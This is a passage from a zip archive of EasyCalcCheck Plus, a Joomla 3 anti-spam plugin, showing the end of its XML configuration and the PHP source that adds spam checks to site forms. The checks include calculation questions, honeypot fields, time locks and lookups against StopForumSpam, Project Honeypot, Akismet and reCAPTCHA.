                <field name="botScoutKey" type="text" showon="botScout:1" default="" label="PLG_SYSTEM_EASYCALCCHECKPLUS_BOTSCOUTKEY" description="PLG_SYSTEM_EASYCALCCHECKPLUS_BOTSCOUTKEY_DESC"/>
            </fieldset>
            <fieldset name="donation">
                <field type="krdonationcodecheck" name="donation"/>
                <field name="donation_code" type="text" default="" size="40" label="KR_DONATION_CODE" description="KR_DONATION_CODE_DESC"/>
                <field type="krprobutton" name="easycalccheckplus"/>
            </fieldset>
        </fields>
    </config>
</extension>
PK!easycalccheckplus/index.htmlnu�[���PK!�>tV--'easycalccheckplus/easycalccheckplus.phpnu�[���<?php

/**
 * @copyright
 * @package        EasyCalcCheck Plus - ECC+ for Joomla! 3
 * @author         Viktor Vogel <admin@kubik-rubik.de>
 * @version        3.3.0.0-FREE - 2021-05-03
 * @link           https://kubik-rubik.de/ecc-easycalccheck-plus
 *
 * @license        GNU/GPL
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
defined('_JEXEC') || die('Restricted access');

use EasyCalcCheckPlus\Helper;
use Joomla\CMS\{Plugin\CMSPlugin, Factory, User\User, Uri\Uri, Router\Route, Language\Text, Plugin\PluginHelper, Application\SiteApplication, Document\HtmlDocument};
use Joomla\Input\Input;

/**
 * Class PlgSystemEasyCalcCheckPlus
 *
 * @since   3.2.0-FREE
 * @version 3.3.0.0-FREE
 */
class PlgSystemEasyCalcCheckPlus extends CMSPlugin
{
    /**
     * Custom call syntax
     *
     * @since 3.2.1-FREE
     */
    private const CUSTOM_CALL_SYNTAX = '{easycalccheckplus}';

    /**
     * @var SiteApplication $app
     * @since 3.2.0-FREE
     */
    protected $app;

    /**
     * @var bool $autoloadLanguage
     * @since 3.2.0-FREE
     */
    protected $autoloadLanguage = true;

    /**
     * @var bool $customCall
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    protected $customCall = false;

    /**
     * @var bool $debugPlugin
     * @since 3.2.0-FREE
     */
    protected $debugPlugin = false;

    /**
     * @var array $extensionInfo
     * @since 3.2.0-FREE
     */
    protected $extensionInfo = [];

    /**
     * @var bool $loadEcc
     * @since 3.2.0-FREE
     */
    protected $loadEcc = false;

    /**
     * @var bool $loadEccCheck
     * @since 3.2.0-FREE
     */
    protected $loadEccCheck = false;

    /**
     * @var string $redirectUrl
     * @since 3.2.0-FREE
     */
    protected $redirectUrl;

    /**
     * @var Input $request
     * @since 3.2.0-FREE
     */
    protected $request;

    /**
     * @var User $user
     * @since 3.2.0-FREE
     */
    protected $user;

    /**
     * @var bool $warningShown
     * @since 3.2.0-FREE
     */
    protected $warningShown;

    /**
     * @var hCaptcha $hCaptcha
     * @since 3.2.0-FREE
     */
    protected $hCaptcha;

    /**
     * PlgSystemEasyCalcCheckPlus constructor.
     *
     * @param object $subject
     * @param array  $config
     *
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    public function __construct(object $subject, array $config)
    {
        parent::__construct($subject, $config);
    }

    /**
     * Initialise ECC, Purge Cache, Bot-Trap, SQL Injection Protection & Backend Token
     *
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.3.0.0-FREE
     */
    public function onAfterInitialise(): void
    {
        $this->initialise();

        // Okay, if we use the encoding option, then we have to decode all fields as soon as possible to avoid errors
        // Decode all input fields but only if debug plugin is not used
        if (!$this->debugPlugin && $this->getParams('encode')) {
            Helper::decodeFields();
        }

        // SQL injection and file inclusion check
        if ($this->getParams('sqlInjectionLfi')) {
            Helper::sqlInjectionLocalFileInclusionCheck();
        }

        // Backend protection
        if ($this->getParams('backendProtection')) {
            $this->checkBackendProtection();
        }
    }

    /**
     * Initialises the plugin
     *
     * @throws Exception
     * @since 3.2.1-FREE
     */
    private function initialise(): void
    {
        require_once __DIR__ . '/src/libraries/Helper.php';

        $this->app = Factory::getApplication();
        $this->redirectUrl = Helper::getSession('redirectUrl');
        Helper::clearSession('redirectUrl');

        if (empty($this->redirectUrl)) {
            $this->redirectUrl = Uri::getInstance()->toString();
        }

        $this->request = new Input();
        $this->user = Factory::getUser();
        $this->debugPlugin = $this->getDebugPluginStatus();
    }

    /**
     * Checks whether the debug plugin is activated - important workaround for Joomla! 3.x
     * This is important because if the plugin is activated, then the input request variables are set before ECC+
     * can decode them back. This means that the components do not use the correct request variables if the option
     * "Encode all fields" is used in ECC+. If the plugin is activated, then we cannot use the encode functionality!
     *
     * @return bool
     * @since 3.2.1-FREE
     */
    private function getDebugPluginStatus(): bool
    {
        if (PluginHelper::isEnabled('system', 'debug')) {
            return true;
        }

        return false;
    }

    /**
     * Gets legacy paths (underscore instead of camelcase) if new paths were not set yet after an update
     *
     * @param string $path
     * @param mixed  $default
     *
     * @return mixed
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    private function getParams(string $path, $default = null)
    {
        $param = $this->params->get($path);

        if ($param !== null) {
            return $param;
        }

        $pathLegacy = strtolower(preg_replace('@(?<!^)[A-Z]@', '_$0', $path));
        $paramLegacy = $this->params->get($pathLegacy);

        return $paramLegacy ?? $default;
    }

    /**
     * Checks the backend protection token if the requirements are met
     *
     * @since 3.2.1-FREE
     */
    private function checkBackendProtection(): void
    {
        if ($this->user->guest && $this->app->isClient('administrator')) {
            $tokenSession = Helper::getSession('token', false);

            if (!$tokenSession) {
                $requestToken = $this->request->get('token', null, 'RAW');

                if ($requestToken === null) {
                    $this->redirectBackendToken();
                }

                $token = $this->getParams('token', '');

                // Conversion to UTF8 (german umlauts)
                if (utf8_encode($requestToken) !== $token) {
                    $this->redirectBackendToken();
                }

                // Token is transferred properly, set session value to suppress further checks
                Helper::setSession('token', true);
            }
        }
    }

    /**
     * Redirects the request to the backend if correct token is not provided
     *
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    private function redirectBackendToken(): void
    {
        $url = $this->getParams('urlFalseToken');

        if (empty($url)) {
            $url = Uri::root();
        }

        Helper::clearSession('token');
        Helper::redirect($url);
    }

    /**
     * Detects whether the plugin routine has to be loaded and call the checks
     *
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.3.0.0-FREE
     */
    public function onAfterRoute(): void
    {
        // Check whether ECC has to be loaded
        $option = $this->request->get('option', '', 'WORD');
        $view = $this->request->get('view', '', 'WORD');
        $task = $this->request->get('task', '', 'CMD');
        $func = $this->request->get('func', '', 'WORD');
        $layout = $this->request->get('layout', '', 'WORD');

        $this->loadEcc($option, $task, $view, $func, $layout);

        // If the custom call is activated, then the input has to be checked here to intercept the process handling of the extension
        if ($this->getParams('customCall') && $this->loadEccUserContext()) {
            // Load error notice if needed
            $this->raiseErrorWarning($option, true);

            // Determine whether the check was already loaded and the data have to be validated
            $checkCustomCall = (array)Helper::getSession('checkCustomCall', []);
            Helper::clearSession('checkCustomCall');

            if (!empty($checkCustomCall)) {
                // Get all request variables for the check
                $request = $this->request->getArray($_REQUEST);
                $customCallPerformCheck = false;

                // Go through all request variable until one hit to check whether the form was submitted by the user
                foreach ($checkCustomCall as $requestVariable) {
                    if (preg_match('@(.*)\[(.*)\]$@', $requestVariable, $requestVariablematch)) {
                        if (isset($request[$requestVariablematch[1]][$requestVariablematch[2]])) {
                            $customCallPerformCheck = true;
                        }
                    } elseif (array_key_exists($requestVariable, $request)) {
                        $customCallPerformCheck = true;
                    }

                    if ($customCallPerformCheck) {
                        // Clean cache
                        Helper::cleanCache();

                        // Save entered values in session for autofill
                        if ($this->getParams('autofillValues')) {
                            Helper::saveData();
                        }

                        // Do the checks to protect the custom form
                        if (!$this->performChecks()) {
                            $this->perfomChecksFailed('checkFailedCustom');
                        }

                        break;
                    }
                }
            }
        }

        // Clean cache of component if ECC+ has to be loaded
        if ($this->loadEccCheck === true || $this->loadEcc === true) {
            Helper::cleanCache();
        }

        if ($this->loadEccCheck === true) {
            // Save entered values in session for autofill
            if ($this->getParams('autofillValues')) {
                Helper::saveData();
            }

            // Call checks for forms
            $this->callChecks($option, $task);
        }

        if ($this->loadEcc === true) {
            // Raise error warning if needed - do the check
            $this->raiseErrorWarning($option);

            // Write head data
            $head = [];
            $head[] = '<style>#easycalccheckplus {margin: 8px 0 !important; padding: 2px !important;}</style>';

            if ($option === 'com_flexicontactplus' && $this->getParams('flexicontactplus')) {
                $head[] = '<style>#easycalccheckplus label {width: auto;}</style>';
            }

            if ($option === 'com_comprofiler' && $this->getParams('communitybuilder')) {
                $head[] = '<style>#easycalccheckplus label {width: 100%;} #easycalccheckplus input {height: 34px;}</style>';
            }

            if ($this->getParams('typeHidden')) {
                $hiddenClass = Helper::randomString();
                $head[] = '<style>.' . $hiddenClass . ' {display: none !important;}</style>';

                if ($option === 'com_foxcontact' && $this->getParams('foxcontact')) {
                    $head[] = '<style>label.' . $hiddenClass . ' {margin: 0 !important; padding: 0 !important;}</style>';
                }

                Helper::setSession('hiddenClass', $hiddenClass);
            }

            if ($option === 'com_kunena' && $this->getParams('kunena') && $this->getParams('recaptcha')) {
                $head[] = '<style>div#recaptcha_area{margin: auto !important;}</style>';
            }

            if ($option === 'com_kunena' && $this->getParams('kunena')) {
                $head[] = '<style>a#btn_qreply{display:none;}</style>';
            }

            if ($this->getParams('recaptcha')) {
                $this->getRecaptchaHead($head);
            }

            if ($this->hCaptcha()) {
                $head[] = $this->hCaptcha->getCssHead();
                $head[] = $this->hCaptcha->getJavaScriptHead();
            }

            $head = "\n" . implode("\n", array_filter($head)) . "\n";
            /** @var HtmlDocument $document */
            $document = Factory::getDocument();

            if ($document->getType() === 'html') {
                $document->addCustomTag($head);
            }
        }

        // Workaround for Kunena - Remove Quick Reply button, only allow full editor replies
        if ($this->user->guest && $option === 'com_kunena' && $this->getParams('kunena')) {
            /** @var HtmlDocument $document */
            $document = Factory::getDocument();

            if ($document->getType() === 'html') {
                $document->addCustomTag('<style>a#btn_qreply, a.Kreplyclick{display:none;}</style>');
            }
        }
    }

    /**
     * Checks whether ECC+ has to be loaded in normal call and defines check rules depending on the loaded component
     *
     * @param string $option
     * @param string $task
     * @param string $view
     * @param string $func
     * @param string $layout
     *
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    private function loadEcc(string $option, string $task, string $view, string $func, string $layout): void
    {
        $this->loadEccSetRules($option, $task, $view, $func, $layout);

        // Clear userLogin session variable to avoid errors if a user logs in via the module
        if ($this->getParams('userLogin') && Helper::getSession('userLogin')) {
            if ($option === 'com_users') {
                if ($this->loadEcc === false) {
                    Helper::clearSession('userLogin');
                }
            } else {
                Helper::clearSession('userLogin');
            }
        }

        Helper::clearSession('eccLoaded');
    }

    /**
     * Defines checking rules depending on the loaded component
     *
     * @param string $option
     * @param string $task
     * @param string $view
     * @param string $func
     * @param string $layout
     *
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    private function loadEccSetRules(string $option, string $task, string $view, string $func, string $layout): void
    {
        if (!$this->loadEccUserContext()) {
            $this->loadEcc = false;
            $this->loadEccCheck = false;

            return;
        }

        // Find out if ECC+ has to be loaded depending on the called component
        if ($option === 'com_contact') {
            // Array -> (name, form, regex for hidden field, regex for output, task, request exception for encode option);
            $this->extensionInfo = [
                'com_contact',
                '<form[^>]+id="contact-form".+</form>',
                '<label id="jform_contact.+>',
                '<button class="btn btn-primary validate" type="submit">',
                'contact.submit',
            ];

            if ($view === 'contact' && $this->getParams('contact')) {
                $this->loadEcc = true;
            }

            if ($task === 'contact.submit' && $this->getParams('contact')) {
                $this->loadEccCheck = true;
            }
        } elseif ($option === 'com_mailto') {
            $this->extensionInfo = [
                'com_mailto',
                '<form[^>]+id="mailtoForm".+</form>',
                '<label for=".+_field".+>',
                '<button type="button" class="button" onclick=".+submitbutton.+">',
                'send',
            ];

            if ($this->getParams('mailtoContent')) {
                if ($task !== 'send') {
                    $this->loadEcc = true;
                } else {
                    $this->loadEccCheck = true;
                }
            }
        } elseif ($option === 'com_users') {
            if ($layout !== 'confirm' && $layout !== 'complete') {
                if ($view === 'registration') {
                    $this->extensionInfo = [
                        'com_users',
                        '<form[^>]+id="member-registration".+</form>',
                        '<label id="jform.+>',
                        '<button type="submit" class="validate">',
                        'registration.register',
                    ];
                } elseif ($view === 'reset' || $view === 'remind') {
                    $this->extensionInfo = [
                        'com_users',
                        '<form[^>]+id="user-registration".+</form>',
                        '<label id="jform_email-lbl"',
                        '<button type="submit">',
                        'registration.register',
                    ];
                } elseif ($view === 'login' || $view === '') {
                    $this->extensionInfo = [
                        'com_users',
                        '<form[^>]+(task=user\.login.+>|>.+value="user\.login")+.+</form>',
                        '<label id=".+"',
                        '<button type="submit" class=".*">',
                        'registration.register',
                    ];
                }

                if (($view === 'registration' || $view === 'reset' || $view === 'remind') && $this->getParams('userRegistration')) {
                    $this->loadEcc = true;
                }

                if (($task === 'registration.register' || $task === 'reset.request' || $task === 'remind.remind') && $this->getParams('userRegistration')) {
                    $this->loadEccCheck = true;
                }

                if (($view === 'login' || $view === '') && ($task === '') && $this->getParams('userLogin')) {
                    $this->loadEcc = true;
                    Helper::setSession('userLogin', 1);
                } elseif ($task === 'user.login' && $this->getParams('userLogin')) {
                    $userLoginCheck = Helper::getSession('userLogin');

                    if (!empty($userLoginCheck)) {
                        $this->loadEccCheck = true;
                    } else {
                        $failedLoginAttempts = Helper::getSession('failedLoginAttempts');

                        if (empty($failedLoginAttempts)) {
                            $failedLoginAttempts = 0;
                        }

                        if ($failedLoginAttempts >= $this->getParams('userLoginAttempts')) {
                            $this->perfomChecksFailed('loginAttempts', Route::_('index.php?option=com_users&view=login', false));
                        }
                    }
                }
            }
        } elseif ($option === 'com_easybookreloaded' && $this->getParams('easybookreloaded')) {
            // Easybook Reloaded 3.3.1
            $this->extensionInfo = [
                'com_easybookreloaded',
                '<form[^>]+name=("|\')gbookForm("|\').+</form>',
                '<input type=.+>',
                '<p id="easysubmit">',
                'save',
                'gbookForm, gbvote, gbtext',
            ];

            if ($task === 'add') {
                $this->loadEcc = true;
            } elseif ($task === 'save') {
                $this->loadEccCheck = true;
            }
        } elseif ($option === 'com_phocaguestbook' && $this->getParams('phocaguestbook')) {
            // Phoca Guestbook 3.0.6
            $this->extensionInfo = [
                'com_phocaguestbook',
                '<form.+com_phocaguestbook.*</form>',
                '<input type=.+>',
                '<div class="btn-group">\s*<button type="submit".*>',
                'submit',
            ];

            if ($view === 'guestbook' && $task !== 'phocaguestbook.submit') {
                $this->loadEcc = true;
            } elseif ($task === 'phocaguestbook.submit') {
                $this->loadEccCheck = true;
            }
        } elseif ($option === 'com_comprofiler' && $this->getParams('communitybuilder')) {
            // Community Builder 2.4.5
            $eccLoaded = Helper::getSession('eccLoaded', false);

            if ($task === 'registers' || $view === 'registers' || $view === 'saveregisters') {
                $this->extensionInfo = [
                    'com_comprofiler',
                    '<form[^>]+id="cbcheckedadminForm".+</form>',
                    '<label for=".+>',
                    '<input type="submit" value=".+" class="button" />',
                    'saveregisters',
                ];
            } elseif ($task === 'lostpassword' || $view === 'lostpassword') {
                $this->extensionInfo = [
                    'com_comprofiler',
                    '<form[^>]+id="adminForm".+</form>',
                    '<label for=".+>',
                    '<input type="submit" class="button" id="cbsendnewuspass" value=".+" />',
                    'sendNewPass',
                ];
            }

            if ($task === 'registers' || $view === 'registers' || $task === 'lostpassword' || $view === 'lostpassword') {
                $this->loadEcc = true;
            } elseif ($task === 'saveregisters' || $view === 'saveregisters' || $task === 'sendNewPass' || $view === 'sendnewpass') {
                if ($eccLoaded === true) {
                    $this->loadEccCheck = true;
                }
            }
        } elseif ($option === 'com_dfcontact' && $this->getParams('dfcontact')) {
            // DFContact - tested with version 1.6.6
            $this->extensionInfo = [
                'com_dfcontact',
                '<form[^>]+id="dfContactForm".+</form>',
                '<label for="dfContactField.+>',
                '<input type="submit" value=".+" class="button" />',
            ];

            if ($view === 'dfcontact') {
                if (empty($this->app->input->get('submit', ''))) {
                    $this->loadEcc = true;
                } else {
                    $this->loadEccCheck = true;
                }
            }
        } elseif ($option === 'com_foxcontact' && $this->getParams('foxcontact')) {
            // FoxContact - tested with version 3.8.2
            $this->extensionInfo = [
                'com_foxcontact',
                '<form[^>]+name="fox-form-c\d+".+</form>',
                '<input id="fox-c.+>',
                '<button type="submit" [^>]*/>',
            ];

            if ($view === 'foxcontact') {
                if ($task === 'form.send') {
                    $this->loadEccCheck = true;
                } else {
                    $this->loadEcc = true;
                }
            }
        } elseif (($option === 'com_flexicontact' && $this->getParams('flexicontact')) || ($option === 'com_flexicontactplus' && $this->getParams('flexicontactplus'))) {
            // FlexiContact 10.05 / FlexiContact Plus - tested with version 6.07
            $regexOutput = '<input type="submit" class=".+".*name="send_button".+/>';

            if ($option === 'com_flexicontactplus') {
                $regexOutput = '<div class="fcp_sendrow">';
            }

            $this->extensionInfo = [
                $option,
                '<form[^>]+name="fc.?_form".+</form>',
                '<input type=.+>',
                $regexOutput,
                'send',
            ];

            if ($view === 'contact') {
                if (empty($task)) {
                    $this->loadEcc = true;
                } elseif ($task === 'send') {
                    $this->loadEccCheck = true;
                }
            }
        } elseif ($option === 'com_kunena' && $this->getParams('kunena')) {
            // Kunena Forum 5.0.7
            $this->extensionInfo = [
                'com_kunena',
                '<form[^>]+id="postform".+</form>',
                '<input type=.+>',
                '<button[^>]+type="submit"[^>]+>',
                'post',
            ];

            if (($func === 'post' || ($view === 'topic' && ($layout === 'reply' || $layout === 'create' || $layout === ''))) && $task !== 'post') {
                $this->loadEcc = true;
            } elseif ($func === 'post' || $task === 'post') {
                $this->loadEccCheck = true;
            }
        } elseif ($option === 'com_alfcontact' && $this->getParams('alfcontact')) {
            // ALFContact 3.2.6
            $this->extensionInfo = [
                'com_alfcontact',
                '<form[^>]+id="contact-form".+</form>',
                '<label for=".+>',
                '<button class="button">',
                'sendemail',
            ];

            if ($view === 'alfcontact' && empty($task)) {
                $this->loadEcc = true;
            } elseif ($task === 'sendemail') {
                $this->loadEccCheck = true;
            }
        } elseif ($option === 'com_aicontactsafe' && $this->getParams('aicontactsafe')) {
            // aiContactSafe - tested with version 2.0.19
            $this->extensionInfo = [
                'com_aicontactsafe',
                '<form[^>]+id="adminForm_.+</form>',
                '<label for=".+>',
                '<input type="submit" id="aiContactSafeSendButton"',
                'display',
            ];

            $sTask = $this->request->get('sTask', '', 'STRING');

            if (empty($sTask)) {
                $this->loadEcc = true;
            } elseif ($sTask === 'message') {
                $this->loadEccCheck = true;
            }
        } elseif ($option === 'com_community' && $this->getParams('jomsocial')) {
            // JomSocial - tested with version 2.6 RC2
            $this->extensionInfo = [
                'com_community',
                '<form[^>]+id="jomsForm".+</form>',
                '<label id=".+>',
                '<div[^>]+cwin-wait.*></div>',
                'register_save',
            ];

            if ($view === 'register') {
                if ($task === '' || $task === 'register') {
                    $this->loadEcc = true;
                } elseif ($task === 'register_save') {
                    $this->loadEccCheck = true;
                }
            }
        } elseif ($option === 'com_virtuemart' && $this->getParams('virtuemart')) {
            // Virtuemart - tested with version 2.0.24a
            if ($task === 'askquestion' || $task === 'mailAskquestion') {
                $this->extensionInfo = [
                    'com_virtuemart',
                    '<form[^>]+id="askform".+</form>',
                    '<label>',
                    '<input[^>]*type="submit" name="submit_ask"[^>]*/>',
                    'mailAskquestion',
                ];

                if ($view === 'productdetails') {
                    if ($task === 'askquestion') {
                        $this->loadEcc = true;
                    } elseif ($task === 'mailAskquestion') {
                        $this->loadEccCheck = true;
                    }
                }
            } elseif ($task === 'editaddresscheckout' || $task === 'registercheckoutuser' || $task === 'savecheckoutuser') {
                $this->extensionInfo = [
                    'com_virtuemart',
                    '<form[^>]+id="userForm".+</form>',
                    '<label.+>',
                    '<button[^>]*type="submit"[^>]*>',
                    'savecheckoutuser',
                ];

                if ($view === 'user') {
                    if ($task === 'editaddresscheckout') {
                        $this->loadEcc = true;
                    } elseif ($task === 'registercheckoutuser' || $task === 'savecheckoutuser') {
                        $this->loadEccCheck = true;
                    }
                }
            } elseif ($task === 'editaddresscart' || $task === 'registercartuser' || $task === 'savecartuser') {
                $this->extensionInfo = [
                    'com_virtuemart',
                    '<form[^>]+id="userForm".+</form>',
                    '<label.+>',
                    '<button[^>]*type="submit"[^>]*>',
                    'savecartuser',
                ];

                if ($view === 'user') {
                    if ($task === 'editaddresscart') {
                        $this->loadEcc = true;
                    } elseif ($task === 'registercartuser' || $task === 'savecartuser') {
                        $this->loadEccCheck = true;
                    }
                }
            } elseif ($view === 'user' && ($layout === 'edit' || $layout === 'default' || $task === 'saveUser' || $task === 'register')) {
                $this->extensionInfo = [
                    'com_virtuemart',
                    '<form[^>]+name="userForm".+</form>',
                    '<label.+>',
                    '<button[^>]*type="submit"[^>]*>',
                    'saveUser',
                ];

                if (($layout === 'edit' || $layout === 'default' || $task === 'register') && $task !== 'saveUser') {
                    $this->loadEcc = true;
                } elseif ($task === 'saveUser') {
                    $this->loadEccCheck = true;
                }
            }
        } elseif ($option === 'com_iproperty' && $this->getParams('iproperty')) {
            // IProperty - tested with version 3.3
            $this->extensionInfo = [
                'com_iproperty',
                '<form[^>]+name="sendRequest".+</form>',
                '<label id=".+>',
                '<button[^>]*type="submit"[^>]*>',
                'property.sendRequest',
            ];

            if ($view === 'property') {
                if ($task === '') {
                    $this->loadEcc = true;
                } elseif ($task === 'property.sendRequest') {
                    $this->loadEccCheck = true;
                }
            }
        }
    }

    /**
     * Checks whether ECC+ has to be loaded in the user context
     *
     * @return bool
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    private function loadEccUserContext(): bool
    {
        // Do not execute the call in the administration or if the check is disabled for guests
        return !($this->app->isClient('administrator') || ($this->getParams('onlyGuests') && !$this->user->guest));
    }

    /**
     * The spam checks have not resolved, execute exit actions and redirect the request
     *
     * @param string $messageType
     * @param string $redirectUrl
     *
     * @since 3.3.0.0-FREE
     */
    private function perfomChecksFailed(string $messageType = 'checkFailed', string $redirectUrl = ''): void
    {
        if ($redirectUrl === '') {
            $redirectUrl = $this->redirectUrl;
        }

        // Set error session variable for the message output
        Helper::setSession('errorOutput', $messageType);
        Helper::redirect($redirectUrl);
    }

    /**
     * Loads error notice if needed only once per process
     *
     * @param string $option
     * @param bool   $custom
     *
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    private function raiseErrorWarning(string $option, bool $custom = false): void
    {
        if (empty($this->warningShown)) {
            // Load error session variable for the message output
            $errorOutput = Helper::getSession('errorOutput');

            if (!empty($errorOutput)) {
                if ($errorOutput === 'checkFailed') {
                    // No message output needed - message is raised by components
                    if (!(($option === 'com_phocaguestbook' && Helper::getSession('phocaguestbook') === 0) || ($option === 'com_easybookreloaded' && Helper::getSession('easybookreloaded') === 0))) {
                        $this->app->enqueueMessage(Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_YOUHAVENOTRESOLVEDOURSPAMCHECK'), 'error');
                    }
                } elseif ($errorOutput === 'checkFailedCustom' && $custom === true) {
                    // Only raise general error message if the custom call is used
                    $this->app->enqueueMessage(Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_YOUHAVENOTRESOLVEDOURSPAMCHECK'), 'error');
                } elseif ($errorOutput === 'loginAttempts') {
                    $this->app->enqueueMessage(Text::_('PLG_SYSTEM_EASYCALCCHECKPLUS_TOOMANYFAILEDLOGINATTEMPTS'), 'error');
                }

                Helper::clearSession('errorOutput');
                $this->warningShown = true;
            }
        }
    }

    /**
     * Performs the antispam checks
     *
     * @return bool
     * @throws Exception
     * @since   3.2.0-FREE
     * @version 3.2.1-FREE
     */
    private function performChecks(): bool
    {
        $request = $this->request->getArray($_REQUEST);

        // Calc check
        if ($this->getParams('typeCalc')) {
            $spamcheckResult = base64_decode(Helper::getSession('spamcheckresult'));
            $spamcheck = $request[Helper::getSession('spamcheck')];

            Helper::clearSession('spamcheck');
            Helper::clearSession('spamcheckresult');

            if (!is_numeric($spamcheckResult) || $spamcheckResult !== $spamcheck) {
                return false; // Wrong result - failed
            }
        }

        // Hidden field
        if ($this->getParams('typeHidden')) {
            $hiddenField = $request[Helper::getSession('hiddenField')];
            Helper::clearSession('hiddenField');

            if (!empty($hiddenField)) {
                return false; // Hidden field was filled out - failed
            }
        }

        // Time lock
        if ($this->getParams('typeTime')) {
            $time = Helper::getSession('time');
            Helper::clearSession('time');

            if (time() - $this->getParams('typeTimeSec') <= $time) {
                return false; // Submitted too fast - failed
            }
        }

        // Self-defined Question
        if ($this->getParams('question')) {
            $question = $this->getSelfDefinedQuestion();

            if (!empty($question)) {
                $answer = strtolower($request[Helper::getSession('question')]);
                Helper::clearSession('question');

                if ($answer !== strtolower($question['answer'])) {
                    return false; // Question wasn't answered - failed
                }
            }
        }

        // StopForumSpam - Check the IP Address
        // Further information: http://www.stopForumSpam.com
        if ($this->getParams('stopForumSpam')) {
            $url = 'http://www.stopForumSpam.com/api?ip=' . Helper::getSession('ipAddress');

            // Function test - Comment out to test - Important: Enter a active Spam-IP
            // $ip = '88.180.52.46';
            // $url = 'http://www.stopForumSpam.com/api?ip='.$ip;

            $response = false;
            $isSpam = '';

            if (function_exists('curl_init')) {
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_POST, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                $response = curl_exec($ch);
                curl_close($ch);
            }

            if ($response) {
                preg_match('#<appears>(.*)</appears>#', $response, $out);
                $isSpam = $out[1];
            } else {
                $response = @fopen($url, 'r');

                if ($response) {
                    while (!feof($response)) {
                        $line = fgets($response, 1024);

                        if (preg_match('#<appears>(.*)</appears>#', $line, $out)) {
                            $isSpam = $out[1];
                            break;
                        }
                    }

                    fclose($response);
                }
            }

            if ((string)$isSpam === 'yes' && (bool)$response === true) {
                return false; // Spam-IP - failed
            }
        }

        // Honeypot Project
        // Further information: http://www.projecthoneypot.org/home.php
        // BL ACCESS KEY - http://www.projecthoneypot.org/httpbl_configure.php
        if ($this->getParams('honeyPot')) {
            require_once __DIR__ . '/src/libraries/services/honeypot.php';
            $httpBlKey = $this->getParams('honeyPotKey');

            if ($httpBlKey) {
                $httpBl = new HttpBl($httpBlKey);
                $result = $httpBl->query(Helper::getSession('ipAddress'));

                // Function test - Comment out to test - Important: Enter an active Spam-IP
                // $ip = '117.21.224.251';
                // $result = $http_bl->query($ip);

                if ($result === 2) {
                    return false;
                }
            }
        }

        // Akismet
        // Further information: http://akismet.com/
        if ($this->getParams('akismet')) {
            require_once __DIR__ . '/src/libraries/services/akismet.php';
            $akismetKey = $this->getParams('akismetKey');

            if ($akismetKey) {
                $akismetUrl = Uri::getInstance()->toString();

                $name = '';
                $email = '';
                $url = '';
                $comment = '';

                if ($request['option'] === 'com_contact') {
                    $name = $request['jform']['contact_name'];
                    $email = $request['jform']['contact_email'];
                    $comment = $request['jform']['contact_message'];
                } elseif ($request['option'] === 'com_mailto') {
                    $name = $request['sender'];
                    $email = $request['mailto'];
                    $comment = $request['subject'];
                } elseif ($request['option'] === 'com_users') {
                    $name = $request['jform']['name'];
                    $email = $request['jform']['email1'];

                    if (isset($request['jform']['email'])) {
                        $email = $request['jform']['email'];
                    }
                } elseif ($request['option'] === 'com_comprofiler') {
                    $name = $request['name'];
                    $email = $request['email'];

                    if (isset($request['checkusername'])) {
                        $name = $request['checkusername'];
                    }

                    if (isset($request['checkemail'])) {
                        $email = $request['checkemail'];
                    }
                } elseif ($request['option'] === 'com_easybookreloaded') {
                    $name = $request['gbname'];
                    $email = $request['gbmail'];
                    $comment = $request['gbtext'];

                    if (isset($request['gbpage'])) {
                        $url = $request['gbpage'];
                    }
                } elseif ($request['option'] === 'com_phocaguestbook') {
                    $name = $request['pgusername'];
                    $email = $request['email'];
                    $comment = $request['pgbcontent'];
                } elseif ($request['option'] === 'com_dfcontact') {
                    $name = $request['name'];
                    $email = $request['email'];
                    $comment = $request['message'];
                } elseif ($request['option'] === 'com_flexicontact' || $request['option'] === 'com_flexicontactplus') {
                    $name = $request['from_name'];
                    $email = $request['from_email'];
                    $comment = $request['area_data'];
                } elseif ($request['option'] === 'com_alfcontact') {
                    $name = $request['name'];
                    $email = $request['email'];
                    $comment = $request['message'];
                } elseif ($request['option'] === 'com_community') {
                    $name = $request['usernamepass'];
                    $email = $request['emailpass'];
                } elseif ($request['option'] === 'com_virtuemart') {
                    $name = $request['name'];
                    $email = $request['email'];
                    $comment = $request['comment'];
                } elseif ($request['option'] === 'com_aicontactsafe') {
                    $name = $request['aics_name'];
                    $email = $request['aics_email'];
                    $comment = $request['aics_message'];
                }

                $akismet = new Akismet($akismetUrl, $akismetKey);
                $akismet->setCommentAuthor($name);
                $akismet->setCommentAuthorEmail($email);
                $akismet->setCommentAuthorURL($url);
                $akismet->setCommentContent($comment);

                if ($akismet->isCommentSpam()) {
                    return false;
                }
            }
        }

        // ReCaptcha - Further information: https://www.google.com/recaptcha
        if ($this->getParams('recaptcha')) {
            if ($this->getParams('recaptchaPublicKey') && $this->getParams('recaptchaPrivateKey')) {
                require_once __DIR__ . '/src/libraries/services/recaptchalib.php';
                $privateKey = $this->getParams('recaptchaPrivateKey');

                $reCaptcha = new ReCaptcha($privateKey);
                $response = $reCaptcha->verifyResponse(Helper::getSession('ipAddress'), $request['g-recaptcha-response']);

                if ($response->success === false) {
                    return false;
                }
            }
        }

        // hCaptcha - Further information: https://www.hcaptcha.com/
